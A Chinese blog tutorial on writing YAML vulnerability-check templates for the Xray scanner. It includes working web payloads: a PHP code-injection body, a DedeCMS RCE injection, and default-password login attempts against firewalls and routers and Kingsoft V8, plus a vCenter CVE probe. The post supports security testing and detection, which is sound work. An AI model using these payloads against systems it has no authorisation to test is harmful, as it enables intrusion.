Xray_poc_编写学习

Posted by Mr.Be1ieVe on Tuesday, April 27, 2021

环境设置

在线自动生成

直接访问 https://phith0n.github.io/xray-poc-generation/ 源仓库phith0n/xray-poc-generation: 🧬 辅助生成 XRay YAML POC

本地

我使用vscode多,所以选择vsc的。

安装后在这里点击

然后改yaml.schemas为

{
    "yaml.schemas": {
        "https://docs.xray.cool/assets/poc/yaml-poc-schema.json": "poc-yaml-*.yml"
    }
}

这样在写poc-yaml-{Your_file_name}.yml时就会根据官方schema来提示了

基本结构

name: poc-yaml-learning
rules:
  - method: GET
    path: "/"
    expression: |
      response.status==200 && body.bcontains(b'learning Domain')

整个 POC 是一个键值对,包含3个键:

  • name: string 名字
  • set: []string 定义变量,如随机数和反连平台等
  • rules: []Rule 规则列表
  • detail: map[string]string 内部存储需要返回给 xray 引擎的内容,如果无可忽略。

Rule是poc的灵魂,yaml里一个rule是一个键值对,包含:

  • method: string 请求方法
  • path: string 请求的完整 Path,包括 querystring 等
  • headers: map[string]string 请求 HTTP 头,Rule 中指定的值会被覆盖到原始数据包的 HTTP 头中
  • body: string 请求的Body
  • follow_redirects: bool 是否允许跟随300跳转
  • expression: string
  • search: string

Rule

根据这些键的作用,分为三类:

  1. methodpathheadersbodyfollow_redirects的作用是生成检测数据包
  2. expression 的作用是判断该条 Rule 的结果
  3. search 的作用是从返回包中提取信息

怎么写expression

部分函数方法

  • response.content_type.contains('application/octet-stream') && response.body.bcontains(b'\x00\x01\x02')
    • 返回包的 content-type 包含 application/octet-stream,且 body 中包含 0x000102 这段二进制串
  • response.body.bcontains(b'test')
  • 返回包 body 包含 bytes 类型的 test,用bcontains方法
  • r'^PK\x03\x04'.bmatches(response.body)
  • body 匹配上正则r'^PK\\x03\\x04(文件头判断)
  • response.status >= 300 && response.status < 400
    • 返回包的 status code 在 300~400 之间
  • r'<input value="(.+?)"'.bmatches(response.body)
  • Body包含表单
  • response.headers['location']=="https://www.example.com"
    • headers 中 Location 等于指定值,如果 Location 不存在,该表达式返回 false
  • 'docker-distribution-api-version' in response.headers && response.headers['docker-distribution-api-version'].contains('registry/2.0')
    • headers 中包含 docker-distribution-api-version 并且 value 包含指定字符串,如果不判断 in,后续的 contains 会出错。
  • response.body.bcontains(bytes(response.url.path))
  • body 中包含 url 的 path

expression表达式返回的必须是一个bool类型的

完整参考 官方简短说明 或 [CEL表达式详细信息](https://github.com/google/cel-spec

怎么用search

从返回包中提取信息

name: poc-yaml-example-com
rules:
  - method: GET
    path: "/update"
    expression: "true"
    search: |
      <input type="hidden" name="csrftoken" value="(?P<token>.+?)"
  - method: POST
    path: "/update"
    body: |
      id=';echo(md5(123));//&csrftoken={{token}}
    expression: |
      status == 200 && body.bcontains(b'202cb962ac59075b964b07152d234b70')

?P<var> 是正则表达式命名组的语法,可在 https://regex101.com/r/VQndKy/1/ 调试。{{}}中包含的名字是正则的提取的数据,没提取成功就不会进行替换。

poc的执行过程

先对poc的关键,set和expression部分进行预编译和静态类型检查,然后有新的请求/链接时,根据rule对请求进行修改,替换掉原始数据包的数据,再获取对应请求的响应,匹配expression就进行下一个rule,全部rule执行完成后,表示有漏洞,并将detail的信息进行漏洞输出

示例

官方仓库里经过漏洞镜像审核的poc https://github.com/chaitin/xray/tree/master/pocs

自己小例子

之前整过python代码自动跑fofa搜出来的防火墙/路由器的弱口令,当时也基本是针对性的写的脚本,大概有50行,而现在粘贴路径,User-Agent,还要body,以及响应的判断即可

name: poc-yaml-weekpasswd
rules:
  - method: POST
    path: /userLogin.asp
    headers:
      User-Agent: >-
        Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
        like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.49
    body: >-
      save2Cookie=&vldcode=&account=admin&password=admin&btnSubmit=+%B5%C7%C2%BC+
    follow_redirects: true
    expression: |
      response.status==200 && body.contains("xx管理")

随后在config里的plugin下,local_poc: [] 加上自己poc的路径即可

社区poc

源地址

name: poc-yaml-kingsoft-v8-default-password
rules:
  - method: POST
    path: /inter/ajax.php?cmd=get_user_login_cmd
    body: "{\"get_user_login_cmd\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\"}}"
    follow_redirects: true
    expression: |
      response.status == 200 && response.body.bcontains(b"ADMIN") && response.body.bcontains(b"userSession")
detail:
  author: B1anda0(https://github.com/B1anda0)
  links:
    - https://idc.wanyunshuju.com/aqld/2123.html

xray/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml at master · chaitin/xray

name: poc-yaml-vmware-vcenter-unauthorized-rce-cve-2021-21972
rules:
  - method: GET
    path: /ui/vropspluginui/rest/services/uploadova
    follow_redirects: false
    expression: |
      response.status == 405 && response.body.bcontains(b"Method Not Allowed")
  - method: GET
    path: /ui/vropspluginui/rest/services/getstatus
    follow_redirects: false
    expression: |
      response.status == 200 && response.body.bcontains(b"States") && response.body.bcontains(b"Install Progress")
detail:
  author: B1anda0(https://github.com/B1anda0)
  links:
    - https://swarm.ptsecurity.com/unauth-rce-vmware/

dedecms-cve-2018-7700-rce

  
name: poc-yaml-dedecms-cve-2018-7700-rce
set:
  r: randomInt(2000000000, 2100000000)
rules:
  - method: GET
    path: >-
      /tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field}
    follow_redirects: true
    expression: |
      response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
  author: harris2015(https://github.com/harris2015)
  Affected Version: "V5.7SP2正式版(2018-01-09)"
  links:
    - https://xz.aliyun.com/t/2224

最后

编写高质量poc - xray 安全评估工具文档 可以反复观看学习比照

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付